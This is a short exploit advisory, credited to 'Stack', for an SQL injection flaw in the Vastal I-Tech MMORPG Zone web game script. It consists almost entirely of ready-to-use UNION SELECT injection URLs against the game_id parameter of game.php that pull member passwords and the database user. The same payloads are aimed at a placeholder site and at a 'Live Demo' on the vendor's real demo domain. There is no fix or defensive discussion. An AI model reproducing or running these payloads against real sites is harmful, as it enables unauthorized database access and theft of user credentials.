####################################################### # Vastal I-Tech MMORPG Zone SQL Injection Vulnerability # # Author : Stack # # # Script Home Page : http://www.vastal.com/mmorpg-zone-sell-mmorpg-online.html # # Demo : http://www.vastal.com/games/ ####################################################### the exploit fate the password use ur mind for have the column username Exploit: http://site.il/game.php?yes=1&game_id=-1/**/UNION/**/SELECT/**/1,concat_ws(0x3a,password,user()),3,4,5,6/**/members/* http://site.il/game.php?yes=1&game_id=-1/**/UNION/**/SELECT/**/1,22222,3,4,5,6/* Live Demo http://www.vastal.com/games/game.php?yes=1&game_id=-1/**/UNION/**/SELECT/**/1,concat_ws(0x3a,password,user()),3,4,5,6/**/members/* http://www.vastal.com/games/game.php?yes=1&game_id=-1/**/UNION/**/SELECT/**/1,22222,3,4,5,6/*